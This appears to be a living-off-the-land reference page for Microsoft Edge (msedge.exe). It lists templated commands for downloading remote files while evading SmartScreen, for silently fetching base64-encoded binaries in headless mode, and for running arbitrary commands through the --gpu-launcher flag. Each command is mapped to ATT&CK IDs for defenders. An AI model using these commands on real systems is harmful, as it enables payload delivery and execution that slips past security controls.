Skip to content

LIVING OFF THE LAND / OS BINARIES

Msedge.exe

Microsoft Edge browser

Download Execute

03COMMAND EXAMPLES

02ATT&CK TECHNIQUES

02DETECTION RESOURCES

02CAPABILITIES

01 / TRADECRAFT

Command reference

3 examples

Download2

EXAMPLE 01T1105

Edge will launch and download the file. A 'harmless' file extension (e.g. .txt, .zip) should be appended to avoid SmartScreen.

COMMAND

msedge.exe {REMOTEURL:.exe.txt}

USE CASE: Download file from the internet
PRIVILEGES: User
OPERATING SYSTEM: Windows 10, Windows 11

EXAMPLE 02T1105

Edge will silently download the file. File extension should be .html and binaries should be encoded.

COMMAND

msedge.exe --headless --enable-logging --disable-gpu --dump-dom "{REMOTEURL:.base64.html}" > {PATH:.b64}

USE CASE: Download file from the internet
PRIVILEGES: User
OPERATING SYSTEM: Windows 10, Windows 11

Execute1

EXAMPLE 01T1218.015

Edge spawns cmd.exe as a child process of msedge.exe and executes the specified command

COMMAND

msedge.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&"

USE CASE: Executes a process under a trusted Microsoft signed binary
PRIVILEGES: User
OPERATING SYSTEM: Windows 10, Windows 11

Execute · CMD

02 / ON DISK

Known paths

c:\Program Files\Microsoft\Edge\Application\msedge.exe

c:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

03 / DEFENSIVE INTELLIGENCE

Detection & indicators

2 resources

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

mr.d0x@mrd0x